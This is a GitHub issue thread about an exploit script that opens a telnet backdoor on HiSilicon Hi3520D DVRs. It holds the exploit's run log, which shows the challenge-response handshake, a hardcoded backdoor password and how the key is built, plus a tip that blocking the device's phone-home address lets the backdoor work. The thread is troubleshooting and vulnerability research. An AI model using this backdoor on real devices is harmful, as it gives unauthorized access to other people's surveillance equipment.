EOF error with Hi3520D - Githubissues

vidosits commented 4 years ago

When running the code on my Fisotech box, I get the following output:

[+] Opening connection to 192.168.1.30 on port 9530: Done
[*] sending OpenTelnet:OpenOnce...
[*] received challenge randNum:96528459
[*] using password 2wj9fsa2
[*] initializing (modified) 3des with key 965284592wj9fsa2
[*] sending encrypted challenge 42:6F:3E:B9:8D:6A:01:EE:B6:62:FC:32:F8:6B:53:EC
[+] verify:OK
[*] sending encrypted command Telnet:OpenOnce...
Traceback (most recent call last):
  File "./hs-dvr-telnet.py", line 54, in <module>
    dvrHelper.open_telnet(args.password)
  File "./hs-dvr-telnet.py", line 42, in open_telnet
    self.recvuntil("Open:")
  File "/dvr/hs-dvr-telnet/venv/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 310, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/dvr/hs-dvr-telnet/venv/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 82, in recv
    return self._recv(numb, timeout) or b''
  File "/dvr/hs-dvr-telnet/venv/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 160, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/dvr/hs-dvr-telnet/venv/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/dvr/hs-dvr-telnet/venv/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError

Does that mean that my box is not vulnerable to this 0day?

vidosits commented 4 years ago

Turns out my specific device doesn't let you open telnet while it can phone home to 114.114.114.114. After blocking that address I was able to log in with Snawoot's PoC. See more details here.

tothi commented 4 years ago

nice. i see you resolved it with Snawoot. meanwhile i am trying to download your firmware and trying to analyze the communication to "home".

vidosits commented 4 years ago

Nice, let me know if I can help in any way by providing further information from the box or the software on it.

tothi / hs-dvr-telnet

EOF error with Hi3520D #1